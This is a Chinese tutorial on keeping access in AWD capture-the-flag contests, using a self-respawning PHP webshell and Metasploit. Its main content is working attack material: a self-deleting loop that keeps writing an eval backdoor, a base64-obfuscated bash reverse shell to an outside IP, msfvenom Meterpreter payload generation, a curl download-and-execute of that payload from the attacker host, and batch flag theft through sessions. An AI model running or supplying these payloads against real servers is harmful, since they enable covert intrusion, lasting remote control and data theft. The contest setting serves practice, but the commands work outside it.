AWD需要权限维持,但通常情况下,我们使用不死马来维持权限:
<?php
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
unlink(__FILE__); //删除自身
while(1)
{
file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php
sleep(0); //间隔时间
}
?>
(向右滑动、查看更多)
上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php。
但是这样有一些问题,防守方只要创建一个与不死马一样名字的文件夹即可终止不死马的创建:
rm -rf shell.php && mkdir shell.php
并且若是对方安装日志记录等文件,对方对方便可获得你使用的shell地址和密码,反过来将这个shell利用在其他的机器上,俗称上车。
在红队权限维持的时候,我们通常使用后渗透工具Metasploit、Cobalt Strike等。由于AWD通常使用Linux,而Metasploit对windows和linux的兼容性都较好。这篇文章使用Metasploit来进行演示。
由于Metasploit工具有进程迁移,提权等操作,被入侵的服务器一般不容易发现自己已被入侵。这在AWD中刚好合适,并且可以使用Metasploit批量来获取FLAG。在实战中,即使站点文件全部被删除,站点已关闭,Metasploit的进程是依然存在的,这样就导致别的攻击方因为站点不存在无法攻击得分,而我们的进程依然存在从而得分,拉开比分的差距。
https://github.com/Cl0udG0d/AWDDocker
使用了其中的Web1来进行演示
预设后门为:http://localhost:8000/?springbird=phpinfo();
docker build -t test/awd:v1.0 .
#index.php
<?php
echo "hi!This is SpringBird";
@eval($_REQUEST['springbird']);
?>
可以看到这个是最简单的一句话后门,
刚好适合我们来演示
连接蚁剑
在服务器上开启一个nc监听
nc -lvp 1256
反弹shell
bash -c '{echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvMTI1NiAwPiYx}|{base64,-d}|{bash,-i}'
(向右滑动、查看更多)
接收到shell
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=你的IP LPORT=8887 -f elf > mshell.elf
(向右滑动、查看更多)
之后启动一个python的http服务以供下载
python2 -m SimpleHTTPServer
启动监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 123.123.123.123
set LPORT 8887
run
(向右滑动、查看更多)
之后在刚才拿到权限的服务器下载该恶意文件。
curl -O http://123.123.123.123:8000/mshell.elf && chmod +x ./mshell.elf && ./mshell.elf&
(向右滑动、查看更多)
可以看到该主机已经上线。
我们多上线几台服务器来模拟AWD环境
之后我们可以用sessions -c "cat /home/flag"来批量获取flag
最后,我们把一句话后门删除,权限依然存在。
总结一下用Metasploit进行AWD的权限维持批量获取flag更加方便,也更加稳定。
精彩推荐